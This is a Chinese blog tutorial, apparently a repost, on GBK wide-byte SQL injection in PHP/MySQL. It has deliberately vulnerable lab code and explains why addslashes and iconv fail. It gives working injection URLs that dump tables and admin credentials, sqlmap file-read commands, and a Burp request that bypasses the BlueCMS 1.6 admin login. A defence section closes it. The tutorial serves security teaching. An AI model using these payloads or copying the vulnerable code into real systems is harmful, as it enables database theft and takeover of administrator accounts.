php 宽字节注入 转成utf8,Hr-Papers|宽字节注入深度讲解

最新推荐文章于 2022-04-06 09:28:50 发布
最新推荐文章于 2022-04-06 09:28:50 发布
阅读量360 收藏
点赞数
文章标签： php 宽字节注入 转成utf8

/*Team:红日安全团队团队成员：CPRTitle：宽字节注入*/

原理介绍

基本概概念宽字节是相对于ascII这样单字节而言的；像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节，实际上只有两字节

GBK是一种多字符的编码，通常来说，一个gbk编码汉字，占用2个字节。一个utf-8编码的汉字，占用3个字节

转义函数：为了过滤用户输入的一些数据，对特殊的字符加上反斜杠“\”进行转义；Mysql中转义的函数addslashes，mysql_real_escape_string，mysql_escape_string等，还有一种是配置magic_quote_gpc，不过PHP高版本已经移除此功能

宽字节注入

先了解下SQL的执行过程：

1.以php客户端为例，使用者输入数据后，会通过php的默认编码生成sql语句发送给服务器。

在php没有开启default_charset编码时，php的默认编码为空

6b507948dbf8e17bad04d4cdad0bd1ec.png

此时php会根据数据库中的编码自动来确定使用那种编码，可以使用<?php $m="字"; echo strlen($m); 来进行判断，如果输出的值是3说明是utf-8编码；

181ea2d2c50654c9850accbeaf76b237.png

如果输出的值是2说明是gbk编码；

fa76d9b89a94790f1159044f28e00a22.png

2.服务器接收到请求后会把客户端编码的字符串转换成连接层编码字符串(具体流程是先使用系统变量 character_set_client 对 SQL 语句进行解码后，然后使用 系统变量 character_set_connection 对解码后的十六进制进行编码)。

25f1e8eb968456b54c4f313287ee6216.png

3.进行内部操作前，将请求按照如下规则转化成内部操作字符集，如下：

​ 3.1 使用字段 CHARACTER SET 设定值；

​ 3.2 若上述值不存在，使用对应数据表的DEFAULT CHARACTER SET设定值；

ae08e68b693f6b99a00682cd7a24f128.png

3.3 若上述值不存在，则使用对应数据库的DEFAULT CHARACTER SET设定值；

eee2e347970c4516b3de9855343ab871.png

3.4 若上述值不存在，则使用character_set_server设定值。

4.执行完 SQL 语句之后，将执行结果按照 character_set_results 编码进行输出。

宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时，会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df)，才到汉字的范围)，而且当我们输入单引号时，mysql会调用转义函数，将单引号变为\'，其中\的十六进制是%5c,mysql的GBK编码，会认为%df%5c是一个宽字节，也就是'運'，从而使单引号闭合(逃逸)，进行注入攻击

8c0de7a2ca0c4778655a0fa226fcac75.png

宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码，然后服务器会根据character_set_connection把请求进行转码，从character_set_client转成character_set_connection，然后更新到数据库的时候，再转化成字段所对应的编码

以下是数据的变化过程:%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

​

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

环境搭建及分析

实验1为了方便演示该注入的过程，搭建一下环境

数据库名为test，数据库的编码全部为gdk

ed6bd30655d6aa46579b8a6351776b06.png

简单的源码/*

Team:红日安全团队

团队成员：CPR

Title：宽字节注入

*/

//连接数据库部分，注意使用了gbk编码

$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');

mysql_query("SET NAMES 'gbk'");

mysql_select_db('test', $conn) OR emMsg("连接数据库失败，未找到您填写的数据库");

//执行sql语句

$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;

$sql = "SELECT * FROM news WHERE tid='{$id}'";

$result = mysql_query($sql, $conn) or die(mysql_error());

echo "
"."执行的sql语句是:".$sql."
"

?>

宽字节测试

请输入值：

$row = mysql_fetch_array($result, MYSQL_ASSOC);

echo "

{$row['title']}

{$row['content']}

\n";

mysql_free_result($result);

?>

加上echo "
"."执行的sql语句是:".$sql."
"这句话，可以清楚的查看sql语句的变化过程。sql语句是SELECT * FROM news WHERE tid='{$id}根据id从数据库表中获取信息。

细节分析

单纯加上单引号没有报错，说明addslashes函数发挥了作用，将' --> \'，这样就不会存在注入了。

a84fbaa1138f30f735575d969846d257.png

此时，在单引号前面加上前面讲的%df,是mysql认为%df\是一个汉字，这样'就可以逃逸出来，使tid = '1'闭合。

09a87809cf3865ad50e8d3eef95752b3.png

这时候，按说是可以构造查询语句了，可是为什么还在报错呢，因为tid='1'后面的'没有闭合，需要使用注释符号(-- '或#)将这个多余的'注释掉，这样就可以构造注入语句了。

39a642ed5133a41a8395e988e15c0fb9.png

下面就可以按照手动注入的思路进行数据的获取了。

确定表的字段数

由于接下来要采用union探测内容，而union的规则是必须要求列数相同才能正常展示，因此必须要探测列数，保证构造的注入查询结果与元查询结果列数与数据类型相同； 'order by 1'代表按第一列升序排序，若数字代表的列不存在，则会报错，由此可以探测出有多少列。http://127.0.0.1/index.php?id=1 %df' order by 4 -- '

ba298d22811ece18b43e2e54698058d4.png

可知一共有3个字段

确定字段的显示位

显示位：表中数据第几位的字段可以 显示，因为并不是所有的查询结果都 会展示在页面中，因此需要探测页面 中展示的查询结果是哪一列的结果; 'union select 1,2,3 -- ' 通过显示的数字可以判断那些字段可以显示出来。http://127.0.0.1/index.php?id=-1 %df' union select 1,2,3 -- '

961e87169ec0e1b4e962871dd5e81940.png

id的值要用-1或者该表中没有用过的id值，否则测试值会被覆盖。

获取当前数据库信息

现在只有两个字段可以显示信息，显然在后面的查询数据中，两个字段是不够用，可以使用：group_concat()函数(可以把查询出来的多行数据连接起来在一个字段中显示) database()函数：查看当前数据库名称 version()函数：查看数据库版本信息 user():返回当前数据库连接使用的用户 char():将十进制ASCII码转化成字符http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(database()) -- '

38cccea96d0f6ad5cb55667e61fd2089.png

当前数据库名为'test'。

获取test数据库中的表信息

Mysql有一个系统的数据库information_schema,里面保存着所有数据库的相关信息，使用该表完成注入http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name)

from information_schema.tables where table_schema=0x74657374 -- '

cf82f1a33b1e939c680257c7e9bac9da.png

由于存在addslashes转义了单引号，如果在table_schema中继续使用单引号包裹数据库名字，就会报错，这时候需要使用十六进制编码来避免这个问题。

获取admin表的字段

column_name表示获取字段名http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(column_name)

from information_schema.columns where table_name=0x61646d696e -- '

a17c872f7bb5ce3c0ca7275c73fa28e9.png

table_name需要使用十六进制编码

获取admin表的数据http://127.0.0.1/index.php?id=-1 %df' union select 1,2,concat(name,char(58),pass) from admin -- '

b6afcafca8c560ac0851ab086c4e5019.png

数据获取到了，可以更深入一下，比如进行文件的读取，提权等操作。

获取当前用户信息

此次会用到工具SQLMAP，sqlmap是一个SQL注入工具。此一具在业界称为神器。sqlmap是用python语言编写，如果想对工具详细了解，请到官网了解。

下载和使用

本实验用到sqlmap，以下是用sqlmap工具操作。使用sqlmap工具第一步猜用户python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --current-user

fdf982ba5ba48a902c966629079c390c.png

看到是root用户，可以更方便的搞事情了。

读服务器中的文件

sqlmap 中--file-read参数，可以读取服务器端任意文件python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --file-read="./index.php"

504786d924004eb9ab544f80a6e18a97.png

已经将文件保存到了本地/root/.sqlmap/output/127.0.0.1/files文件夹下

正常思路，接下来可以进行提权了，由于该环境是搭建在windows下的，使用--file-write参数进行写文件的操作不能执行，这里就不做演示了。

实验2为了方便演示该注入的过程，搭建一下环境

数据库名为test，数据库的编码全部为gdk

315f827ba1319a5d6b3c15f59c206a7c.png

4.将index.php放到phpStudy的WWW目录下，将test.sql文件导入到数据库中即可

源码/*

Team:红日安全团队

团队成员：CPR

Title：宽字节注入

*/

//连接数据库部分，注意使用了gbk编码

$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');

mysql_query("SET NAMES 'gbk'");

mysql_select_db('test', $conn) OR emMsg("连接数据库失败，未找到您填写的数据库");

//执行sql语句

mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);

$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;

$id = iconv('utf-8', 'gbk', $id);

$sql = "SELECT * FROM news WHERE tid='{$id}'";

$result = mysql_query($sql, $conn) or die(mysql_error());

echo "
"."sql:".$sql."
"

?>

gbk change utf-8

$row = mysql_fetch_array($result, MYSQL_ASSOC);

echo "

{$row['title']}

{$row['content']}

\n";

mysql_free_result($result);

?>

同样也试用了 addslashes转义，然后使用iconv进行转码，由utf-8 -->gbk

细节分析

为了避免宽字节注入，很多人使用iconv函数(能够完成各种字符集间的转换$text=iconv("UTF-8","GBK",$text);)，其实这样做是有很大风险的，仍旧可以造成宽字节注入。

可以使用逆向思维，先找一个gbk的汉字錦,錦的utf-8编码是0xe98ca6，它的gbk编码是0xe55c,是不是已经看出来了，当传入的值是錦'，'通过addslashes转义为\'(%5c%27),錦通过icov转换为%e5%5c，终止变为了%e5%5c%5c%27,不难看出%5c%5c正好把反斜杠转义，使单引号逃逸，造成注入。

按照实验1的思路，可以执行宽字节注入

a554e87f691f6b4457a7acb446148cf0.png

出现报错信息，说明存在宽字节注入。

d87c4c0161a478bea959649868628807.png

%5c%5c正好把反斜杠转义，使单引号逃逸

e5a718610ade2d6910f66a61037c852a.png

获取到数据信息(这里的sql注入方法和实验1一样，读者可以自己尝试练习)

实验3

bluecms 1.6 版本存在宽字节注入，环境源码：

漏洞复现

该cms的宽字节注入漏洞存在于http://127.0.0.1/bluecmsv1.6/uploads/admin/index.php.此地址是我们的安装地址，如果是在本地搭建，需要根据你的本地地址和路径来进行判断。

为了更好演示效果，我们进行如下安装。首先根据上面提示的下载地址进行下载源码。

将整个bluecms文件放到phpStudy的WWW目录下，浏览器访问url/bluecms/uploads/install 根据提示进行安装。

1e1165b20f08363633a32587a7ad9991.png

打勾继续即可

1f8da57e8182c4ba7e8537aae57617f7.png

这一步一定要根据自己的本地数据库信息进行配置，否则会失败。

配置好后，下一步会进行安装，稍微一等，就安装完成了。

在管理员界面输入登录信息：

f56cd171c940b6383d20383298725dd2.png

使用burp suit 进行抓包：POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login

Cookie: PHPSESSID=om57mhu92141dqc3hn8ajce8q1

DNT: 1

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 63

​

admin_name=admin&admin_pwd=123&submit=%B5%C7%C2%BC&act=do_login

admin_name就是注入点，可以实现万能密码登录(具体的溯源请看细节分析部分)

构造payloadPOST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login

DNT: 1

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 80

​

admin_name=admin %df' or 1=1 -- '&admin_pwd=11&submit=%B5%C7%C2%BC&act=do_login

成功登录后台

2808869714264a821b404f230792f2e5.png

可以看到宽字节显示的汉字‘運’

细节分析

看下管理员登录界面的源码admin/login.phpdefine('IN_BLUE', true);

​

require_once(dirname(__FILE__) . '/include/common.inc.php');

$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'login';

​

if($act == 'login'){

if($_SESSION['admin_id']){

showmsg('您已登录，不用再次登录', 'index.php');

}

template_assign('current_act', '登录');

$smarty->display('login.htm');

}

...

在第二行可以看到包含了/include/common.inc.php文件，跟进一下require_once(BLUE_ROOT.'include/mysql.class.php');

​

$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);

第一行包含了include/mysql.class.php文件，第二行实例化mysql对象，继续跟进mysql.class.phpfunction mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){

$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';

if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){

$this->dbshow('Can not connect to Mysql!');

} else {

if($this->dbversion() > '4.1'){

mysql_query( "SET NAMES gbk");

if($this->dbversion() > '5.0.1'){

mysql_query("SET sql_mode = ''",$this->linkid);

}

}

}

...

/include/common.inc.php文件中的mysql实例化对象，调用了这个mysql类，将数据库的连接信息进行封装，重点关注下mysql_query( "SET NAMES gbk");这一句,使三个字符集(客户端、连接层、结果集)都是GBK编码，经过前面的讲解可以知道gbk是双字节，如果再使用了addslashes()等前面所说的函数进行转义操作，那么一定可以触发宽字节注入

回到common.inc.php,看到if(!get_magic_quotes_gpc())

{

$_POST = deep_addslashes($_POST);

$_GET = deep_addslashes($_GET);

$_COOKIES = deep_addslashes($_COOKIES);

$_REQUEST = deep_addslashes($_REQUEST);

}

如果没有开启get_magic_quotes_gpc(),则会对各种请求数据使deep_addslashes()进行过滤，跟进下这个函数，在common.fun.php文件中function deep_addslashes($str)

{

if(is_array($str))

{

foreach($str as $key=>$val)

{

$str[$key] = deep_addslashes($val);

}

}

else

{

$str = addslashes($str);

}

return $str;

}

不管是数组还是字符串都会调用addslashes()函数进行字符的转义

至此可以确定能触发宽字节注入

sql语句分析

前面已经构造了payload，现在看一看完整的sql语句

admin/login.php源码if(check_admin($admin_name, $admin_pwd)){

update_admin_info($admin_name);

if($remember == 1){

...

check_admin()函数使用了输入的用户名和密码，跟进一下

该函数在include/common.fun.php文件中function check_admin($name, $pwd)

{

global $db;

$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");

if($row['num'] > 0)

{

return true;

}

else

{

return false;

}

}

...

正常的sql语句SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='$name' and pwd = md5('$pwd')

当从blue_admin表中查到admin的信息，num的值就会大于零，这样就可以登录成功

含有payload的sql语句SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運' or 1=1 -- ' and pwd = md5('$pwd')

登录后台管理，可以寻找上传点，或者利用已知的漏洞，从而getshell，进而控制整个服务器。

漏洞防御

使用mysql_set_charset(GBK)指定字符集SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary使用mysql_real_escape_string进行转义mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集(使用mysql_set_charset指定字符集)，不会出现前面的df和5c拼接为一个宽字节的问题

以上两个条件需要同时满足才行，缺一不可。

参考链接

瓦罗兰十字军
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于matlab的表情识别代码-Deep-learning-papers:深度学习论文
05-21
基于matlab的表情识别代码很棒的深度学习论文和其他资源 有关深度学习和深度强化学习的最新论文清单。 他们按时间排序，首先查看最近的论文。 我将更新最近的论文，并在这些论文中添加注释。 您应该找到带有星号的...
宽字节注入
jokerhappy的博客
10-15 686
首先介绍宽字节注入的原理： 宽字节注入的产生是字符集不一致造成的，如：前端使用UTF-8编码，数据库使用GBK编码，在进行解码时，数据库将两位的UTF-8编码读取成一位GBK编码，从而绕过服务器的转义函数，进行的sql注入。 GBK编码 GBK编码，是对GB2312编码的扩展，用于存储汉字。GBK编码采用双字节编码方案，其编码范围:8140- FEFE。 编码表: http://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php 转义函数 认识一下用到的转义函数addslashes
php 宽字节注入 转成utf8,【转】宽字节注入详解 - osc_qthcwpv9的个人空间 - OSCHINA - 中文开源技术交流社区...
weixin_39646405的博客
03-23 118
前言在mysql中，用于转义的函数有addslashes，mysql_real_escape_string，mysql_escape_string等，还有一种情况是magic_quote_gpc，不过高版本的PHP将去除这个特性。首先，宽字节注入与HTML页面编码是无关的，笔者曾经看到<meta charset=utf8>就放弃了尝试，这是一个误区，SQL注入不是XSS。虽然他们中编码...
MySQL 宽字节注入——关于GBK编码和UTF-8编码
公众号shadow sock7
04-02 4966
参考： http://blog.csdn.net/jnbbwyth/article/details/6991425 https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html这个文件原文只有ASCII字符，当我加上两个汉字之后就不得不变成了UTF-8字符。 iconv这个工具(MacOS, ubuntu和kali好像是自带的)
php 单引号绕过,利用UTF8字节编码能否绕过PHP单引号转义进行注入？
weixin_30914751的博客
03-13 633
利用GBK双字节编码可以绕过单引号转义进行注入，这在之前的文章中已经分析过了(《利用GBK双字节编码突破PHP单引号转义限制进行SQL注入》，http://www.redicecn.com/html/wangluoanquan/20101018/180.html)。今天来讨论一下是否能够利用UTF8字节编码绕过转义。先回顾一下GBK编码绕转义的原理：GBK编码的字节范围是：首字节：0x81-0xF...
【23】WEB安全学习----MySQL注入-8(二阶注入)
尚未佩妥剑 转眼便江湖
09-21 936
什么是二阶注入？ 简单的来说，就是第一次注入时，开发者进行了编码等限制，无法直接进行注入，但是在数据库中保留了我们注入的语句，程序在其它地方再次调用保存着我们注入的语句时发生了注入，这就是二阶注入，有点类似存储型XSS漏洞的意思。 二阶注入演示 实验环境介绍 text数据库里有张users表，目前里面已有admin和root账户 用户注册页面 &lt;!DOCTYPE html&...
dl-vision-papers：深度学习和三维视觉相关的论文
02-04
dl-vision-papers：深度学习和三维视觉相关的论文
deep-learning-papers-translation-master.zip_Translation-master_i
07-15
深度学习用于InSAR处理。代码。可以使用
white-papers:深度学习技术著作
05-10
白皮书 深度学习技术著作
Find Related Academic Papers | Researcher-crx插件
04-02
语言:English 与研究人员的纸张查找器扩展，您可以输入任何标题，摘要或关键字来查找相关的学术论文。 -------------- ---------------------------------------------------------------- ---- 如果您在线阅读学术...
utf8 宽字节 mbcs 随意转换
12-29
utf8 宽字节 mbcs 随意转换 vtString WStringToUTF8(const wchar_t* wstring); vtString2 UTF8ToWString(const char *string_utf8); vtString WStringToMBCS(const wchar_t* wstring); vtString2 MBCSToWString(const char *string_mbcs); vtString UTF8ToMBCS(const char *string_utf8); vtString MBCSToUTF8(const char *stri
BlueCMS代码审计
eyyer的博客
02-20 1119
对BlueCMS的一次代码审计
宽字符转UTF8 、UTF8 转宽字符
fengkuangfj的专栏
08-27 2790
// 宽字符转UTF8 string EncodeUtf8(wstring in) { string s(in.length()*3+1,' '); size_t len = ::WideCharToMultiByte(CP_UTF8, 0, in.c_str(), in.length(), &s[0], s.length(), NULL, NULL); s.resize(len)
将宽字符转成UTF8字节的字符
xulg1984的专栏
03-05 1674
//将Unicode字符转成UTF8的char类型//函数会为pszDest分配合适的内存//nDestLen转换后结果的长度BOOL String2Char(LPCWSTR pszStr, char *&pszDest, int &nDestLen){    int __len = WideCharToMultiByte(CP_UTF8, 0, pszStr, -1, NUL
字符串处理 - ANSI - Unicode - UTF8 转换
yangzijiangtou
01-04 423
2008-11-4: 使用MultiByteToWideChar和WideCharToMultiByte写的4个ANSI <-> Unicode <-> UTF-8 相互转换的函数。 2008-11-5: 使用C语言标准库mbstowcs和wcstombs写的w2m和m2w两个函数，分别对应ANSI <-> Unicode 相互转换。 2008-11-8: 包装一下 ANSI <-> UTF-8
宽字符注入详解与实战
hl1293348082的专栏
04-06 1630
宽字节注入源于程序员设置MySQL连接时的错误配置,如下： set character_set_client=gbk ,这样的配置会引发编码转换从而导致绕过某些防护实现注入漏洞。具体分析一下原理： 正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时，我们测试输入的'，就会被转义为\'; 若存在宽字节注入，输入%df%27时，经过单引号的转义变成了%df%5c%27，之后再数据库查询语句进行GBK多字节编码，即一个中文占用两个字节，一个英文同样占用两个字
宽字节注入原理学习
身高两米不到的博客
03-18 4938
0x01 开篇 本题用到考点是宽字节注入，遇到这种注入类型学习记录。 推荐两篇链接：浅析白盒审计中的字符编码及SQL注入 | 离别歌 Von的博客 | Von Blog 为方便自我下次忘记，总结一下： 1.宽字节涉及到编码问题，便于理解需要看一看 2.宽字节注入现在已经很少见，因为如今的编码大多使用utf-8 常见url编码： 空格 --%20 ' --%27 # --%23 \ --%5c 0x02 原理 我们注入时都会简单输入一个 ' 或者 " ，进行测试，如果数据库过滤不严格就会产生报错
宽字节注入详解
热门推荐
qq_45927819的博客
03-26 1万+
文章目录1、涉及函数2、原理分析3、实战南邮nctf-sql injection 3sql-labs-32关 1、涉及函数 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串 mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符 mysql_escape_string() 转义一个字符串 2、原理分析 先了解一下什么是窄、宽字节已经常见宽字节编码： 当某字符的大小为一个字节时，称其字符为窄字节. 当某字符的大小为两个字节时，称
8.宽字节注入
kinght的博客
08-26 426
title: 8.宽字节注入 date: 2020-08-18 14:05:00 categories: 4.网络安全 1.Web安全 1.SQL注入 tags: 1.Web安全 2.SQL注入 在一些特定的场景，常规语句不能直接进行注入，但是因为程序代码开发存在一些瑕疵，我们可以使用PHP的一些特性进行注入，比如这次的宽字节注入 宽字节注入原理 什么是宽字节？ 如果一个字符其大小为1个字节的称为窄字节，如果为两个字符的就被称为宽字节 一个字节有八个bit，有255种组成方式，英文由于只有24个字.
“Cervical Fluid-Based Cell Detection” please find some papers like this subject
最新发布
02-24
我可以為您推薦一些關於“Cervical Fluid-Based Cell Detection”主題的文章，例如《Cervical Fluid-Based Cell Detection Using an Automated Microscopy System》、《Optimization of Cervical Fluid-Based Cell ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值